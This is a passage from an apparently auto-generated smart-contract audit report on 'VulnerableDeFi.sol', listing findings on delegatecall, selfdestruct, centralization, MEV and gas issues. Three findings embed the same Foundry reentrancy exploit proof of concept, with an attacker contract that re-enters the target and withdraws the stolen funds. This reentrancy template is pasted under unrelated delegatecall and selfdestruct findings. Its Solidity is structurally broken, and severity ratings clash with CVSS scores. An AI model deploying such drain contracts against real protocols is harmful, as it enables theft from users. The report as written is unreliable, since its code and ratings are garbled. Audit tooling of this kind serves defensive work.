Impact Analysis

Gas limit can prevent function execution

Recommendation

Add array size limits or use pull pattern

References

- No references available

F-128. threat_model

PROPERTY	VALUE
Severity	CRITICAL
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:95
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Elevation of Privilege Threat: Delegatecall to potentially malicious contract Impact: Caller can execute code in context of this contract

Vulnerable Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Threat identified via STRIDE analysis:
Category: Elevation of Privilege
Threat: Delegatecall to potentially malicious contract
Impact: Caller can execute code in context of this contract
 * Severity: critical
 * Target Function: vulnerable
 * Generated: 2026-02-02 15:31
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract VulnerableDeFiReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function vulnerable() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target contract
    }
}
```

```

    // target = IVulnerable(deployCode("VulnerableDeFi.sol"));

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter -
attackerBalanceBefore + ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

```

```

        // Execute attack
        vm.prank(attacker);
        attackerContract.attack();

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance ≥ 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("vulnerable()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("vulnerable()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {
        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }
}

```

Impact Analysis

Caller can execute code in context of this contract

Recommendation

Validate delegatecall target or use library pattern

References

- No references available

F-129. threat_model

PROPERTY	VALUE
Severity	CRITICAL
Category	A04:2021-Insecure Design
CVSS Score	3.7
Location	VulnerableDeFi.sol:102
Status	open
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Elevation of Privilege Threat: Selfdestruct without proper authorization Impact: Contract and funds can be destroyed

Vulnerable Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Threat identified via STRIDE analysis:
Category: Elevation of Privilege
Threat: Selfdestruct without proper authorization
Impact: Contract and funds can be destroyed
 * Severity: Critical
 * Target Function: vulnerable
 * Generated: 2026-02-02 15:31
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract VulnerableDeFiReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function vulnerable() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target contract
    }
}
```

```

// target = IVulnerable(deployCode("VulnerableDeFi.sol"));

// Deploy attacker contract
vm.prank(attacker);
attackerContract = new AttackerContract(address(target));

// Victim deposits funds
vm.prank(victim);
target.deposit{value: VICTIM_DEPOSIT}();

console.log("=== Setup Complete ===");
console.log("Target balance:", address(target).balance);
console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter -
attackerBalanceBefore + ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

```

```

        // Execute attack
        vm.prank(attacker);
        attackerContract.attack();

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance ≥ 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("vulnerable()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("vulnerable()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {
        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }
}

```

Impact Analysis

Contract and funds can be destroyed

Recommendation

Add multi-sig or timelock for selfdestruct

References

- No references available

F-130. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	gas_optimization
CVSS Score	3.7
Location	VulnerableDeFi.sol:67
Status	open
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Post-increment (i++) costs more gas than pre-increment (++i)

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Use ++i instead of i++ in loops

References

- No references available

F-131. gas_optimization

PROPERTY	VALUE
Severity	MEDIUM
Category	gas_optimization
CVSS Score	3.7
Location	VulnerableDeFi.sol:83
Status	open
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Change 'public' to 'external' if not called internally

References

- No references available

F-132. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	gas_optimization
CVSS Score	3.7
Location	VulnerableDeFi.sol:67
Status	open
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Unnecessary zero initialization

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Remove '=' 0' (variables are zero-initialized by default)

References

- No references available

F-133. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	gas_optimization
CVSS Score	3.7
Location	VulnerableDeFi.sol:67
Status	open
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Reading .length in every loop iteration

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Cache array.length before loop: uint len = array.length

References

- No references available

F-134. mev_vulnerability

PROPERTY	VALUE
Severity	INFO
Category	A10:2021-Cryptographic Failures
CVSS Score	3.7
Location	VulnerableDeFi.sol:48
Status	open
Detected By	mev_detector

Description

MEV vulnerability detected: Swap function without slippage protection

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Impact assessment pending.

Recommendation

Add minAmountOut parameter and validate against slippage

References

- No references available

F-135. Potential Rug Pull Pattern

PROPERTY	VALUE
Severity	HIGH
Category	rug_pull
CVSS Score	7.9
Location	/contracts/VulnerableDeFi.sol:14
Status	open
Detected By	advanced_detector

Description

Blacklist mapping - can block user transfers. Found at line 14.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Significant financial loss or contract compromise possible under certain conditions.

Recommendation

Review ownership controls. Consider timelocks, multi-sig, or renouncing ownership after launch.

References

- <https://rugdoc.io/education/>
- <https://www.certik.com/resources/blog/rug-pull-prevention>

F-136. Potential Rug Pull Pattern

PROPERTY	VALUE
Severity	MEDIUM
Category	rug_pull
CVSS Score	7.9
Location	/contracts/VulnerableDeFi.sol:38
Status	open
Detected By	advanced_detector

Description

Owner can blacklist addresses - censorship risk. Found at line 38.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Review ownership controls. Consider timelocks, multi-sig, or renouncing ownership after launch.

References

- <https://rugdoc.io/education/>
- <https://www.certik.com/resources/blog/rug-pull-prevention>

F-137. Potential Rug Pull Pattern

PROPERTY	VALUE
Severity	HIGH
Category	rug_pull
CVSS Score	7.9
Location	/contracts/VulnerableDeFi.sol:50
Status	open
Detected By	advanced_detector

Description

Blacklist check in transfer - centralized control. Found at line 50.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Significant financial loss or contract compromise possible under certain conditions.

Recommendation

Review ownership controls. Consider timelocks, multi-sig, or renouncing ownership after launch.

References

- <https://rugdoc.io/education/>
- <https://www.certik.com/resources/blog/rug-pull-prevention>

F-138. Potential Rug Pull Pattern

PROPERTY	VALUE
Severity	MEDIUM
Category	rug_pull
CVSS Score	7.9
Location	/contracts/VulnerableDeFi.sol:59
Status	open
Detected By	advanced_detector

Description

Mint function detected - check for access control. Found at line 59.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Review ownership controls. Consider timelocks, multi-sig, or renouncing ownership after launch.

References

- <https://rugdoc.io/education/>
- <https://www.certik.com/resources/blog/rug-pull-prevention>

F-139. Ownership Not Renounced

PROPERTY	VALUE
Severity	HIGH
Category	rug_pull
CVSS Score	7.9
Location	/contracts/VulnerableDeFi.sol:None
Status	open
Detected By	advanced_detector

Description

Contract has onlyOwner functions but ownership is not renounced. Owner retains control over critical functions.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Significant financial loss or contract compromise possible under certain conditions.

Recommendation

Consider renouncing ownership after deployment or implementing timelock for owner functions.

References

- <https://docs.openzeppelin.com/contracts/4.x/api/access#Ownable>

F-140. Token Security Issue

PROPERTY	VALUE
Severity	HIGH
Category	token_security
CVSS Score	7.9
Location	/contracts/VulnerableDeFi.sol:17
Status	open
Detected By	advanced_detector

Description

Trading controls - verify owner cannot disable trading. Found at line 17.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Significant financial loss or contract compromise possible under certain conditions.

Recommendation

Review token mechanics for honeypot indicators. Ensure users can always sell tokens.

References

- <https://tokensniffer.com/>
- <https://honeypot.is/>

F-141. Token Security Issue

PROPERTY	VALUE
Severity	MEDIUM
Category	token_security
CVSS Score	7.9
Location	/contracts/VulnerableDeFi.sol:34
Status	open
Detected By	advanced_detector

Description

Trading controls - verify owner cannot disable trading. Found at line 34.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Review token mechanics for honeypot indicators. Ensure users can always sell tokens.

References

- <https://tokensniffer.com/>
- <https://honeypot.is/>

F-142. Token Security Issue

PROPERTY	VALUE
Severity	MEDIUM
Category	token_security
CVSS Score	7.9
Location	/contracts/VulnerableDeFi.sol:43
Status	open
Detected By	advanced_detector

Description

Fee can be changed after deployment - fee manipulation risk. Found at line 43.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Review token mechanics for honeypot indicators. Ensure users can always sell tokens.

References

- <https://tokensniffer.com/>
- <https://honeypot.is/>

F-143. Token Security Issue

PROPERTY	VALUE
Severity	HIGH
Category	token_security
CVSS Score	7.9
Location	/contracts/VulnerableDeFi.sol:49
Status	open
Detected By	advanced_detector

Description

Trading controls - verify owner cannot disable trading. Found at line 49.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Significant financial loss or contract compromise possible under certain conditions.

Recommendation

Review token mechanics for honeypot indicators. Ensure users can always sell tokens.

References

- <https://tokensniffer.com/>
- <https://honeypot.is/>

F-144. Proxy/Upgrade Vulnerability

PROPERTY	VALUE
Severity	CRITICAL
Category	proxy_upgrade
CVSS Score	9.6
Location	/contracts/VulnerableDeFi.sol:95
Status	open
Detected By	advanced_detector

Description

Delegatecall detected - ensure target is trusted. Found at line 95.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Complete loss of funds or contract takeover possible. Immediate exploitation risk.

Recommendation

Use OpenZeppelin's upgradeable contracts. Implement proper access control for upgrades. Use initializer modifier and _disableInitializers.

References

- <https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable>
- <https://blog.openzeppelin.com/proxy-patterns>

F-145. High Centralization Risk

PROPERTY	VALUE
Severity	HIGH
Category	centralization_risk
CVSS Score	9.6
Location	/contracts/VulnerableDeFi.sol:None
Status	open
Detected By	advanced_detector

Description

Contract has 6 owner-only functions. Significant centralization risk.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Significant financial loss or contract compromise possible under certain conditions.

Recommendation

Consider multi-sig wallet, timelocks, or DAO governance for critical functions.

References

- <https://www.certik.com/resources/blog/centralization-risks>

F-146. Centralization Risk

PROPERTY	VALUE
Severity	MEDIUM
Category	centralization_risk
CVSS Score	8.0
Location	/contracts/VulnerableDeFi.sol:43
Status	open
Detected By	advanced_detector

Description

Owner can change fees - user fund risk. Found at line 43.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add timelock or multi-sig requirement for this function.

References

- No references available

F-147. Centralization Risk

PROPERTY	VALUE
Severity	MEDIUM
Category	centralization_risk
CVSS Score	8.0
Location	/contracts/VulnerableDeFi.sol:59
Status	open
Detected By	advanced_detector

Description

Owner can mint tokens - inflation risk. Found at line 59.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add timelock or multi-sig requirement for this function.

References

- No references available

F-148. No Timelock or Multi-sig

PROPERTY	VALUE
Severity	HIGH
Category	centralization_risk
CVSS Score	9.6
Location	/contracts/VulnerableDeFi.sol:None
Status	open
Detected By	advanced_detector

Description

Contract has owner privileges but no timelock or multi-sig. Owner actions are immediate and irreversible.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Significant financial loss or contract compromise possible under certain conditions.

Recommendation

Implement OpenZeppelin TimelockController or use Gnosis Safe.

References

- <https://docs.openzeppelin.com/contracts/4.x/api/governance#TimelockController>

F-149. Missing Transaction Deadline

PROPERTY	VALUE
Severity	HIGH
Category	sandwich_attack
CVSS Score	9.6
Location	/contracts/VulnerableDeFi.sol:None
Status	open
Detected By	defi

Description

Swap operation without deadline parameter. Transaction could be held and executed at unfavorable time.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Significant financial loss or contract compromise possible under certain conditions.

Recommendation

Include deadline parameter to prevent delayed execution attacks.

References

- <https://uniswap.org/docs/v2/smart-contracts/router02/>

F-150. MEV Exposure Detected

PROPERTY	VALUE
Severity	CRITICAL
Category	mev_exposure
CVSS Score	9.6
Location	/contracts/VulnerableDeFi.sol:106
Status	open
Detected By	defi

Description

Liquidation function - MEV bots actively monitor these. Found at line 106.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Complete loss of funds or contract takeover possible. Immediate exploitation risk.

Recommendation

Consider using private mempools (Flashbots Protect), MEV-aware DEXs, or commit-reveal schemes.

References

- <https://www.flashbots.net/>
- <https://docs.cow.fi/overview/mev-protection>

F-151. MEV Exposure Detected

PROPERTY	VALUE
Severity	HIGH
Category	mev_exposure
CVSS Score	9.6
Location	/contracts/VulnerableDeFi.sol:113
Status	open
Detected By	defi

Description

Arbitrage function - direct MEV target. Found at line 113.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Significant financial loss or contract compromise possible under certain conditions.

Recommendation

Consider using private mempools (Flashbots Protect), MEV-aware DEXs, or commit-reveal schemes.

References

- <https://www.flashbots.net/>
- <https://docs.cow.fi/overview/mev-protection>

F-152. weak-prng

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-120
CVSS Score	8.0
Location	VulnerableDeFi.sol:73 (lottery)
Status	open
Detected By	slither

Description

VulnerableDeFi.lottery() uses a weak PRNG: "random % 100"

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Review and fix the vulnerability

References

- No references available

F-153. controlled-delegatecall

PROPERTY	VALUE
Severity	MEDIUM
Category	SC07: Unprotected Delegatecall
CVSS Score	8.0
Location	VulnerableDeFi.sol:93 (execute)
Status	open
Detected By	slither

Description

VulnerableDeFi.execute(address,bytes) uses delegatecall to a input-controlled function id - (success,None) = target.delegatecall(data)

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Review and fix the vulnerability

References

- No references available

F-154. suicidal

PROPERTY	VALUE
Severity	CRITICAL
Category	SWC-106
CVSS Score	9.6
Location	VulnerableDeFi.sol:100 (destroy)
Status	open
Detected By	slither

Description

VulnerableDeFi.destroy() allows anyone to destruct the contract

Vulnerable Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: [VulnerableDeFi.destroy()](../contracts/VulnerableDeFi.sol#L100-L103) allows anyone to destruct the contract
 *
 * Severity: critical
 * Target Function: destroy
 * Generated: 2026-02-02 15:31
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract VulnerableDeFiReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function destroy() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target contract
        // target = IVulnerable(deployCode("VulnerableDeFi.sol"));
    }
}
```

```

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter -
attackerBalanceBefore + ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack

```

```

        vm.prank(attacker);
        attackerContract.attack();

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance ≥ 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("destroy()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("destroy()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {
        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }
}

```

Impact Analysis

Complete loss of funds or contract takeover possible. Immediate exploitation risk.

Recommendation

Protect selfdestruct with proper access control

References

- No references available

F-155. uninitialized-state

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-109
CVSS Score	8.0
Location	VulnerableDeFi.sol:15 (holders)
Status	open
Detected By	slither

Description

VulnerableDeFi.holders is never initialized. It is used in: - VulnerableDeFi.distributeRewards(uint256)

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Initialize all state variables in constructor

References

- No references available

F-156. unused-return

PROPERTY	VALUE
Severity	MEDIUM
Category	unused-return
CVSS Score	8.0
Location	VulnerableDeFi.sol:88 (approveSpender)
Status	open
Detected By	slither

Description

VulnerableDeFi.approveSpender(address,address,uint256) ignores return value by IERC20(token).approve(spender,amount)

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Review and fix the vulnerability

References

- No references available

F-157. ml_detected_vulnerability

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-116
CVSS Score	8.0
Location	VulnerableDeFi.sol:0
Status	open
Detected By	dagnn

Description

Dangerous use of block.timestamp

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Avoid using block.timestamp for critical logic; use block.number or external oracle

References

- No references available

F-158. ml_detected_vulnerability

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-112
CVSS Score	8.0
Location	VulnerableDeFi.sol:0
Status	open
Detected By	dagnn

Description

Delegatecall to untrusted callee

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Whitelist delegatecall targets and validate callee address

References

- No references available

F-159. denial_of_service

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-128
CVSS Score	8.0
Location	contract.sol:15
Status	open
Detected By	classic-pattern-detector

Description

Denial of service through gas exhaustion or external call failure

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Limit loop iterations or use pull payment pattern

References

- No references available

F-160. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-105
CVSS Score	3.7
Location	contract.sol:24
Status	open
Detected By	classic-pattern-detector

Description

Missing or insufficient access controls

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add onlyOwner/onlyRole modifiers or require(msg.sender == owner)

References

- No references available

F-161. denial_of_service

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-128
CVSS Score	8.0
Location	contract.sol:120
Status	open
Detected By	classic-pattern-detector

Description

Denial of service through gas exhaustion or external call failure

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Limit loop iterations or use pull payment pattern

References

- No references available

F-162. denial_of_service

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-128
CVSS Score	8.0
Location	contract.sol:130
Status	open
Detected By	classic-pattern-detector

Description

Denial of service through gas exhaustion or external call failure

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Limit loop iterations or use pull payment pattern

References

- No references available

6. Remediation Roadmap

6.1 Prioritized Actions

PRIORITY	FINDING	SEVERITY	RECOMMENDED ACTION
12	missing_zero_address_check	CRITICAL	Immediate fix required
44	missing_annotation_coverage	CRITICAL	Immediate fix required
45	missing_annotation_coverage	CRITICAL	Immediate fix required
50	selfdestruct-identifier	CRITICAL	Immediate fix required
60	access_control	CRITICAL	Immediate fix required
61	access_control	CRITICAL	Immediate fix required
65	selfdestruct	CRITICAL	Immediate fix required
66	delegatecall	CRITICAL	Immediate fix required
71	Unprotected Self-Destruct	CRITICAL	Immediate fix required
72	Delegatecall to Untrusted Callee	CRITICAL	Immediate fix required
79	Unchecked Low-Level Call	CRITICAL	Immediate fix required
84	solcmc_outOfBounds	CRITICAL	Immediate fix required
88	delegatecall	HIGH	Immediate fix required
91	Weak Randomness Source	HIGH	Immediate fix required
92	Weak Randomness Source	HIGH	Immediate fix required
93	Weak Randomness Source	HIGH	Immediate fix required
95	Short Address Attack Vulnerability	CRITICAL	Immediate fix required
96	Short Address Attack Vulnerability	HIGH	Immediate fix required
97	Short Address Attack Vulnerability	HIGH	Immediate fix required
98	Missing Access Control	CRITICAL	Immediate fix required
99	Missing Access Control	CRITICAL	Immediate fix required
100	Timestamp Dependency	HIGH	Immediate fix required
101	Timestamp Dependency	HIGH	Immediate fix required
102	access_control	CRITICAL	Immediate fix required
103	delegatecall_injection	CRITICAL	Immediate fix required

PRIORITY	FINDING	SEVERITY	RECOMMENDED ACTION
